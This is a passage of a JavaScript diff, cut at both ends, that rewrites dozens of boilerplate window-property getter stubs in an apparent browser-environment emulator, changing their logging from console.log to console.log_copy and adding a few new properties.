arg=bodavm.memory.globalobj['ondeviceorientation']?bodavm.memory.globalobj['ondeviceorientation']:null;console.log(`window_ondeviceorientation_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_ondevicemotion_get=function (){let arg=bodavm.memory.globalobj['ondevicemotion']?bodavm.memory.globalobj['ondevicemotion']:null;console.log(`window_ondevicemotion_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onunload_get=function (){let arg=bodavm.memory.globalobj['onunload']?bodavm.memory.globalobj['onunload']:null;console.log(`window_onunload_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onunhandledrejection_get=function (){let arg=bodavm.memory.globalobj['onunhandledrejection']?bodavm.memory.globalobj['onunhandledrejection']:null;console.log(`window_onunhandledrejection_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onstorage_get=function (){let arg=bodavm.memory.globalobj['onstorage']?bodavm.memory.globalobj['onstorage']:null;console.log(`window_onstorage_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onrejectionhandled_get=function (){let arg=bodavm.memory.globalobj['onrejectionhandled']?bodavm.memory.globalobj['onrejectionhandled']:null;console.log(`window_onrejectionhandled_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onpopstate_get=function (){let arg=bodavm.memory.globalobj['onpopstate']?bodavm.memory.globalobj['onpopstate']:null;console.log(`window_onpopstate_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onpageshow_get=function (){let arg=bodavm.memory.globalobj['onpageshow']?bodavm.memory.globalobj['onpageshow']:null;console.log(`window_onpageshow_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onpagehide_get=function (){let arg=bodavm.memory.globalobj['onpagehide']?bodavm.memory.globalobj['onpagehide']:null;console.log(`window_onpagehide_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_ononline_get=function (){let arg=bodavm.memory.globalobj['ononline']?bodavm.memory.globalobj['ononline']:null;console.log(`window_ononline_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onoffline_get=function (){let arg=bodavm.memory.globalobj['onoffline']?bodavm.memory.globalobj['onoffline']:null;console.log(`window_onoffline_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onmessageerror_get=function (){let arg=bodavm.memory.globalobj['onmessageerror']?bodavm.memory.globalobj['onmessageerror']:null;console.log(`window_onmessageerror_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onlanguagechange_get=function (){let arg=bodavm.memory.globalobj['onlanguagechange']?bodavm.memory.globalobj['onlanguagechange']:null;console.log(`window_onlanguagechange_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onhashchange_get=function (){let arg=bodavm.memory.globalobj['onhashchange']?bodavm.memory.globalobj['onhashchange']:null;console.log(`window_onhashchange_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onbeforeprint_get=function (){let arg=bodavm.memory.globalobj['onbeforeprint']?bodavm.memory.globalobj['onbeforeprint']:null;console.log(`window_onbeforeprint_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onafterprint_get=function (){let arg=bodavm.memory.globalobj['onafterprint']?bodavm.memory.globalobj['onafterprint']:null;console.log(`window_onafterprint_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_ontransitioncancel_get=function (){let arg=bodavm.memory.globalobj['ontransitioncancel']?bodavm.memory.globalobj['ontransitioncancel']:null;console.log(`window_ontransitioncancel_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_ontransitionend_get=function (){let arg=bodavm.memory.globalobj['ontransitionend']?bodavm.memory.globalobj['ontransitionend']:null;console.log(`window_ontransitionend_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_ontransitionstart_get=function (){let arg=bodavm.memory.globalobj['ontransitionstart']?bodavm.memory.globalobj['ontransitionstart']:null;console.log(`window_ontransitionstart_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_ontransitionrun_get=function (){let arg=bodavm.memory.globalobj['ontransitionrun']?bodavm.memory.globalobj['ontransitionrun']:null;console.log(`window_ontransitionrun_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onanimationstart_get=function (){let arg=bodavm.memory.globalobj['onanimationstart']?bodavm.memory.globalobj['onanimationstart']:null;console.log(`window_onanimationstart_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onanimationiteration_get=function (){let arg=bodavm.memory.globalobj['onanimationiteration']?bodavm.memory.globalobj['onanimationiteration']:null;console.log(`window_onanimationiteration_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onanimationend_get=function (){let arg=bodavm.memory.globalobj['onanimationend']?bodavm.memory.globalobj['onanimationend']:null;console.log(`window_onanimationend_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onselectionchange_get=function (){let arg=bodavm.memory.globalobj['onselectionchange']?bodavm.memory.globalobj['onselectionchange']:null;console.log(`window_onselectionchange_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onselectstart_get=function (){let arg=bodavm.memory.globalobj['onselectstart']?bodavm.memory.globalobj['onselectstart']:null;console.log(`window_onselectstart_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onpointerleave_get=function (){let arg=bodavm.memory.globalobj['onpointerleave']?bodavm.memory.globalobj['onpointerleave']:null;console.log(`window_onpointerleave_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onpointerenter_get=function (){let arg=bodavm.memory.globalobj['onpointerenter']?bodavm.memory.globalobj['onpointerenter']:null;console.log(`window_onpointerenter_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onpointerout_get=function (){let arg=bodavm.memory.globalobj['onpointerout']?bodavm.memory.globalobj['onpointerout']:null;console.log(`window_onpointerout_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onpointerover_get=function (){let arg=bodavm.memory.globalobj['onpointerover']?bodavm.memory.globalobj['onpointerover']:null;console.log(`window_onpointerover_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onpointercancel_get=function (){let arg=bodavm.memory.globalobj['onpointercancel']?bodavm.memory.globalobj['onpointercancel']:null;console.log(`window_onpointercancel_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onpointerup_get=function (){let arg=bodavm.memory.globalobj['onpointerup']?bodavm.memory.globalobj['onpointerup']:null;console.log(`window_onpointerup_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onpointermove_get=function (){let arg=bodavm.memory.globalobj['onpointermove']?bodavm.memory.globalobj['onpointermove']:null;console.log(`window_onpointermove_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onpointerdown_get=function (){let arg=bodavm.memory.globalobj['onpointerdown']?bodavm.memory.globalobj['onpointerdown']:null;console.log(`window_onpointerdown_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onlostpointercapture_get=function (){let arg=bodavm.memory.globalobj['onlostpointercapture']?bodavm.memory.globalobj['onlostpointercapture']:null;console.log(`window_onlostpointercapture_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_ongotpointercapture_get=function (){let arg=bodavm.memory.globalobj['ongotpointercapture']?bodavm.memory.globalobj['ongotpointercapture']:null;console.log(`window_ongotpointercapture_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onauxclick_get=function (){let arg=bodavm.memory.globalobj['onauxclick']?bodavm.memory.globalobj['onauxclick']:null;console.log(`window_onauxclick_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onwheel_get=function (){let arg=bodavm.memory.globalobj['onwheel']?bodavm.memory.globalobj['onwheel']:null;console.log(`window_onwheel_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onwebkittransitionend_get=function (){let arg=bodavm.memory.globalobj['onwebkittransitionend']?bodavm.memory.globalobj['onwebkittransitionend']:null;console.log(`window_onwebkittransitionend_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onwebkitanimationstart_get=function (){let arg=bodavm.memory.globalobj['onwebkitanimationstart']?bodavm.memory.globalobj['onwebkitanimationstart']:null;console.log(`window_onwebkitanimationstart_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onwebkitanimationiteration_get=function (){let arg=bodavm.memory.globalobj['onwebkitanimationiteration']?bodavm.memory.globalobj['onwebkitanimationiteration']:null;console.log(`window_onwebkitanimationiteration_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onwebkitanimationend_get=function (){let arg=bodavm.memory.globalobj['onwebkitanimationend']?bodavm.memory.globalobj['onwebkitanimationend']:null;console.log(`window_onwebkitanimationend_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onwaiting_get=function (){let arg=bodavm.memory.globalobj['onwaiting']?bodavm.memory.globalobj['onwaiting']:null;console.log(`window_onwaiting_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onvolumechange_get=function (){let arg=bodavm.memory.globalobj['onvolumechange']?bodavm.memory.globalobj['onvolumechange']:null;console.log(`window_onvolumechange_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_ontoggle_get=function (){let arg=bodavm.memory.globalobj['ontoggle']?bodavm.memory.globalobj['ontoggle']:null;console.log(`window_ontoggle_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_ontimeupdate_get=function (){let arg=bodavm.memory.globalobj['ontimeupdate']?bodavm.memory.globalobj['ontimeupdate']:null;console.log(`window_ontimeupdate_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onsuspend_get=function (){let arg=bodavm.memory.globalobj['onsuspend']?bodavm.memory.globalobj['onsuspend']:null;console.log(`window_onsuspend_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onsubmit_get=function (){let arg=bodavm.memory.globalobj['onsubmit']?bodavm.memory.globalobj['onsubmit']:null;console.log(`window_onsubmit_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onstalled_get=function (){let arg=bodavm.memory.globalobj['onstalled']?bodavm.memory.globalobj['onstalled']:null;console.log(`window_onstalled_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onslotchange_get=function (){let arg=bodavm.memory.globalobj['onslotchange']?bodavm.memory.globalobj['onslotchange']:null;console.log(`window_onslotchange_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onselect_get=function (){let arg=bodavm.memory.globalobj['onselect']?bodavm.memory.globalobj['onselect']:null;console.log(`window_onselect_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onseeking_get=function (){let arg=bodavm.memory.globalobj['onseeking']?bodavm.memory.globalobj['onseeking']:null;console.log(`window_onseeking_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onseeked_get=function (){let arg=bodavm.memory.globalobj['onseeked']?bodavm.memory.globalobj['onseeked']:null;console.log(`window_onseeked_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onsecuritypolicyviolation_get=function (){let arg=bodavm.memory.globalobj['onsecuritypolicyviolation']?bodavm.memory.globalobj['onsecuritypolicyviolation']:null;console.log(`window_onsecuritypolicyviolation_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onscroll_get=function (){let arg=bodavm.memory.globalobj['onscroll']?bodavm.memory.globalobj['onscroll']:null;console.log(`window_onscroll_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onresize_get=function (){let arg=bodavm.memory.globalobj['onresize']?bodavm.memory.globalobj['onresize']:null;console.log(`window_onresize_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onreset_get=function (){let arg=bodavm.memory.globalobj['onreset']?bodavm.memory.globalobj['onreset']:null;console.log(`window_onreset_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onratechange_get=function (){let arg=bodavm.memory.globalobj['onratechange']?bodavm.memory.globalobj['onratechange']:null;console.log(`window_onratechange_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onprogress_get=function (){let arg=bodavm.memory.globalobj['onprogress']?bodavm.memory.globalobj['onprogress']:null;console.log(`window_onprogress_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onplaying_get=function (){let arg=bodavm.memory.globalobj['onplaying']?bodavm.memory.globalobj['onplaying']:null;console.log(`window_onplaying_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onplay_get=function (){let arg=bodavm.memory.globalobj['onplay']?bodavm.memory.globalobj['onplay']:null;console.log(`window_onplay_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onpause_get=function (){let arg=bodavm.memory.globalobj['onpause']?bodavm.memory.globalobj['onpause']:null;console.log(`window_onpause_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onmousewheel_get=function (){let arg=bodavm.memory.globalobj['onmousewheel']?bodavm.memory.globalobj['onmousewheel']:null;console.log(`window_onmousewheel_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onmouseup_get=function (){let arg=bodavm.memory.globalobj['onmouseup']?bodavm.memory.globalobj['onmouseup']:null;console.log(`window_onmouseup_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onmouseover_get=function (){let arg=bodavm.memory.globalobj['onmouseover']?bodavm.memory.globalobj['onmouseover']:null;console.log(`window_onmouseover_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onmouseout_get=function (){let arg=bodavm.memory.globalobj['onmouseout']?bodavm.memory.globalobj['onmouseout']:null;console.log(`window_onmouseout_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onmousemove_get=function (){let arg=bodavm.memory.globalobj['onmousemove']?bodavm.memory.globalobj['onmousemove']:null;console.log(`window_onmousemove_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onmouseleave_get=function (){let arg=bodavm.memory.globalobj['onmouseleave']?bodavm.memory.globalobj['onmouseleave']:null;console.log(`window_onmouseleave_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onmouseenter_get=function (){let arg=bodavm.memory.globalobj['onmouseenter']?bodavm.memory.globalobj['onmouseenter']:null;console.log(`window_onmouseenter_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onmousedown_get=function (){let arg=bodavm.memory.globalobj['onmousedown']?bodavm.memory.globalobj['onmousedown']:null;console.log(`window_onmousedown_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onloadstart_get=function (){let arg=bodavm.memory.globalobj['onloadstart']?bodavm.memory.globalobj['onloadstart']:null;console.log(`window_onloadstart_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onloadedmetadata_get=function (){let arg=bodavm.memory.globalobj['onloadedmetadata']?bodavm.memory.globalobj['onloadedmetadata']:null;console.log(`window_onloadedmetadata_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onloadeddata_get=function (){let arg=bodavm.memory.globalobj['onloadeddata']?bodavm.memory.globalobj['onloadeddata']:null;console.log(`window_onloadeddata_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onload_get=function (){let arg=bodavm.memory.globalobj['onload']?bodavm.memory.globalobj['onload']:null;console.log(`window_onload_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onkeyup_get=function (){let arg=bodavm.memory.globalobj['onkeyup']?bodavm.memory.globalobj['onkeyup']:null;console.log(`window_onkeyup_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onkeypress_get=function (){let arg=bodavm.memory.globalobj['onkeypress']?bodavm.memory.globalobj['onkeypress']:null;console.log(`window_onkeypress_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onkeydown_get=function (){let arg=bodavm.memory.globalobj['onkeydown']?bodavm.memory.globalobj['onkeydown']:null;console.log(`window_onkeydown_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_oninvalid_get=function (){let arg=bodavm.memory.globalobj['oninvalid']?bodavm.memory.globalobj['oninvalid']:null;console.log(`window_oninvalid_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_oninput_get=function (){let arg=bodavm.memory.globalobj['oninput']?bodavm.memory.globalobj['oninput']:null;console.log(`window_oninput_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onformdata_get=function (){let arg=bodavm.memory.globalobj['onformdata']?bodavm.memory.globalobj['onformdata']:null;console.log(`window_onformdata_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onfocus_get=function (){let arg=bodavm.memory.globalobj['onfocus']?bodavm.memory.globalobj['onfocus']:null;console.log(`window_onfocus_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onerror_get=function (){let arg=bodavm.memory.globalobj['onerror']?bodavm.memory.globalobj['onerror']:null;console.log(`window_onerror_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onended_get=function (){let arg=bodavm.memory.globalobj['onended']?bodavm.memory.globalobj['onended']:null;console.log(`window_onended_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onemptied_get=function (){let arg=bodavm.memory.globalobj['onemptied']?bodavm.memory.globalobj['onemptied']:null;console.log(`window_onemptied_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_ondurationchange_get=function (){let arg=bodavm.memory.globalobj['ondurationchange']?bodavm.memory.globalobj['ondurationchange']:null;console.log(`window_ondurationchange_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_ondrop_get=function (){let arg=bodavm.memory.globalobj['ondrop']?bodavm.memory.globalobj['ondrop']:null;console.log(`window_ondrop_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_ondragstart_get=function (){let arg=bodavm.memory.globalobj['ondragstart']?bodavm.memory.globalobj['ondragstart']:null;console.log(`window_ondragstart_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_ondragover_get=function (){let arg=bodavm.memory.globalobj['ondragover']?bodavm.memory.globalobj['ondragover']:null;console.log(`window_ondragover_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_ondragleave_get=function (){let arg=bodavm.memory.globalobj['ondragleave']?bodavm.memory.globalobj['ondragleave']:null;console.log(`window_ondragleave_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_ondragenter_get=function (){let arg=bodavm.memory.globalobj['ondragenter']?bodavm.memory.globalobj['ondragenter']:null;console.log(`window_ondragenter_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_ondragend_get=function (){let arg=bodavm.memory.globalobj['ondragend']?bodavm.memory.globalobj['ondragend']:null;console.log(`window_ondragend_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_ondrag_get=function (){let arg=bodavm.memory.globalobj['ondrag']?bodavm.memory.globalobj['ondrag']:null;console.log(`window_ondrag_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_ondblclick_get=function (){let arg=bodavm.memory.globalobj['ondblclick']?bodavm.memory.globalobj['ondblclick']:null;console.log(`window_ondblclick_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_oncuechange_get=function (){let arg=bodavm.memory.globalobj['oncuechange']?bodavm.memory.globalobj['oncuechange']:null;console.log(`window_oncuechange_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_oncontextrestored_get=function (){let arg=bodavm.memory.globalobj['oncontextrestored']?bodavm.memory.globalobj['oncontextrestored']:null;console.log(`window_oncontextrestored_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_oncontextmenu_get=function (){let arg=bodavm.memory.globalobj['oncontextmenu']?bodavm.memory.globalobj['oncontextmenu']:null;console.log(`window_oncontextmenu_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_oncontextlost_get=function (){let arg=bodavm.memory.globalobj['oncontextlost']?bodavm.memory.globalobj['oncontextlost']:null;console.log(`window_oncontextlost_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onclose_get=function (){let arg=bodavm.memory.globalobj['onclose']?bodavm.memory.globalobj['onclose']:null;console.log(`window_onclose_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onclick_get=function (){let arg=bodavm.memory.globalobj['onclick']?bodavm.memory.globalobj['onclick']:null;console.log(`window_onclick_get`,`-> res ->${arg}`);return arg} - bodavm.envFunc.window_onchange_get=function (){let arg=bodavm.memory.globalobj['onchange']?bodavm.memory.globalobj['onchange']:null;console.log(`window_onchange_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_scheduler_get=function (){let arg=bodavm.memory.globalobj['scheduler']?bodavm.memory.globalobj['scheduler']:null;console.log_copy(`window_scheduler_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_crossOriginIsolated_get=function (){let arg=bodavm.memory.globalobj['crossOriginIsolated']?bodavm.memory.globalobj['crossOriginIsolated']:null;console.log_copy(`window_crossOriginIsolated_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onpointerrawupdate_get=function (){let arg=bodavm.memory.globalobj['onpointerrawupdate']?bodavm.memory.globalobj['onpointerrawupdate']:null;console.log_copy(`window_onpointerrawupdate_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_originAgentCluster_get=function (){let arg=bodavm.memory.globalobj['originAgentCluster']?bodavm.memory.globalobj['originAgentCluster']:null;console.log_copy(`window_originAgentCluster_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onbeforematch_get=function (){let arg=bodavm.memory.globalobj['onbeforematch']?bodavm.memory.globalobj['onbeforematch']:null;console.log_copy(`window_onbeforematch_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_ondeviceorientationabsolute_get=function (){let arg=bodavm.memory.globalobj['ondeviceorientationabsolute']?bodavm.memory.globalobj['ondeviceorientationabsolute']:null;console.log_copy(`window_ondeviceorientationabsolute_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_ondeviceorientation_get=function (){let arg=bodavm.memory.globalobj['ondeviceorientation']?bodavm.memory.globalobj['ondeviceorientation']:null;console.log_copy(`window_ondeviceorientation_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_ondevicemotion_get=function (){let arg=bodavm.memory.globalobj['ondevicemotion']?bodavm.memory.globalobj['ondevicemotion']:null;console.log_copy(`window_ondevicemotion_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onunload_get=function (){let arg=bodavm.memory.globalobj['onunload']?bodavm.memory.globalobj['onunload']:null;console.log_copy(`window_onunload_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onunhandledrejection_get=function (){let arg=bodavm.memory.globalobj['onunhandledrejection']?bodavm.memory.globalobj['onunhandledrejection']:null;console.log_copy(`window_onunhandledrejection_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onstorage_get=function (){let arg=bodavm.memory.globalobj['onstorage']?bodavm.memory.globalobj['onstorage']:null;console.log_copy(`window_onstorage_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onrejectionhandled_get=function (){let arg=bodavm.memory.globalobj['onrejectionhandled']?bodavm.memory.globalobj['onrejectionhandled']:null;console.log_copy(`window_onrejectionhandled_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onpopstate_get=function (){let arg=bodavm.memory.globalobj['onpopstate']?bodavm.memory.globalobj['onpopstate']:null;console.log_copy(`window_onpopstate_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onpageshow_get=function (){let arg=bodavm.memory.globalobj['onpageshow']?bodavm.memory.globalobj['onpageshow']:null;console.log_copy(`window_onpageshow_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onpagehide_get=function (){let arg=bodavm.memory.globalobj['onpagehide']?bodavm.memory.globalobj['onpagehide']:null;console.log_copy(`window_onpagehide_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_ononline_get=function (){let arg=bodavm.memory.globalobj['ononline']?bodavm.memory.globalobj['ononline']:null;console.log_copy(`window_ononline_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onoffline_get=function (){let arg=bodavm.memory.globalobj['onoffline']?bodavm.memory.globalobj['onoffline']:null;console.log_copy(`window_onoffline_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onmessageerror_get=function (){let arg=bodavm.memory.globalobj['onmessageerror']?bodavm.memory.globalobj['onmessageerror']:null;console.log_copy(`window_onmessageerror_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onlanguagechange_get=function (){let arg=bodavm.memory.globalobj['onlanguagechange']?bodavm.memory.globalobj['onlanguagechange']:null;console.log_copy(`window_onlanguagechange_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onhashchange_get=function (){let arg=bodavm.memory.globalobj['onhashchange']?bodavm.memory.globalobj['onhashchange']:null;console.log_copy(`window_onhashchange_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onbeforeprint_get=function (){let arg=bodavm.memory.globalobj['onbeforeprint']?bodavm.memory.globalobj['onbeforeprint']:null;console.log_copy(`window_onbeforeprint_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onafterprint_get=function (){let arg=bodavm.memory.globalobj['onafterprint']?bodavm.memory.globalobj['onafterprint']:null;console.log_copy(`window_onafterprint_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_ontransitioncancel_get=function (){let arg=bodavm.memory.globalobj['ontransitioncancel']?bodavm.memory.globalobj['ontransitioncancel']:null;console.log_copy(`window_ontransitioncancel_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_ontransitionend_get=function (){let arg=bodavm.memory.globalobj['ontransitionend']?bodavm.memory.globalobj['ontransitionend']:null;console.log_copy(`window_ontransitionend_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_ontransitionstart_get=function (){let arg=bodavm.memory.globalobj['ontransitionstart']?bodavm.memory.globalobj['ontransitionstart']:null;console.log_copy(`window_ontransitionstart_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_ontransitionrun_get=function (){let arg=bodavm.memory.globalobj['ontransitionrun']?bodavm.memory.globalobj['ontransitionrun']:null;console.log_copy(`window_ontransitionrun_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onanimationstart_get=function (){let arg=bodavm.memory.globalobj['onanimationstart']?bodavm.memory.globalobj['onanimationstart']:null;console.log_copy(`window_onanimationstart_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onanimationiteration_get=function (){let arg=bodavm.memory.globalobj['onanimationiteration']?bodavm.memory.globalobj['onanimationiteration']:null;console.log_copy(`window_onanimationiteration_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onanimationend_get=function (){let arg=bodavm.memory.globalobj['onanimationend']?bodavm.memory.globalobj['onanimationend']:null;console.log_copy(`window_onanimationend_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onselectionchange_get=function (){let arg=bodavm.memory.globalobj['onselectionchange']?bodavm.memory.globalobj['onselectionchange']:null;console.log_copy(`window_onselectionchange_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onselectstart_get=function (){let arg=bodavm.memory.globalobj['onselectstart']?bodavm.memory.globalobj['onselectstart']:null;console.log_copy(`window_onselectstart_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onpointerleave_get=function (){let arg=bodavm.memory.globalobj['onpointerleave']?bodavm.memory.globalobj['onpointerleave']:null;console.log_copy(`window_onpointerleave_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onpointerenter_get=function (){let arg=bodavm.memory.globalobj['onpointerenter']?bodavm.memory.globalobj['onpointerenter']:null;console.log_copy(`window_onpointerenter_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onpointerout_get=function (){let arg=bodavm.memory.globalobj['onpointerout']?bodavm.memory.globalobj['onpointerout']:null;console.log_copy(`window_onpointerout_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onpointerover_get=function (){let arg=bodavm.memory.globalobj['onpointerover']?bodavm.memory.globalobj['onpointerover']:null;console.log_copy(`window_onpointerover_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onpointercancel_get=function (){let arg=bodavm.memory.globalobj['onpointercancel']?bodavm.memory.globalobj['onpointercancel']:null;console.log_copy(`window_onpointercancel_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onpointerup_get=function (){let arg=bodavm.memory.globalobj['onpointerup']?bodavm.memory.globalobj['onpointerup']:null;console.log_copy(`window_onpointerup_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onpointermove_get=function (){let arg=bodavm.memory.globalobj['onpointermove']?bodavm.memory.globalobj['onpointermove']:null;console.log_copy(`window_onpointermove_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onpointerdown_get=function (){let arg=bodavm.memory.globalobj['onpointerdown']?bodavm.memory.globalobj['onpointerdown']:null;console.log_copy(`window_onpointerdown_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onlostpointercapture_get=function (){let arg=bodavm.memory.globalobj['onlostpointercapture']?bodavm.memory.globalobj['onlostpointercapture']:null;console.log_copy(`window_onlostpointercapture_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_ongotpointercapture_get=function (){let arg=bodavm.memory.globalobj['ongotpointercapture']?bodavm.memory.globalobj['ongotpointercapture']:null;console.log_copy(`window_ongotpointercapture_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onauxclick_get=function (){let arg=bodavm.memory.globalobj['onauxclick']?bodavm.memory.globalobj['onauxclick']:null;console.log_copy(`window_onauxclick_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onwheel_get=function (){let arg=bodavm.memory.globalobj['onwheel']?bodavm.memory.globalobj['onwheel']:null;console.log_copy(`window_onwheel_get`,`-> res ->${arg}`);return arg} + bodavm.envFunc.window_onwebkittransitionend_get=function (){let 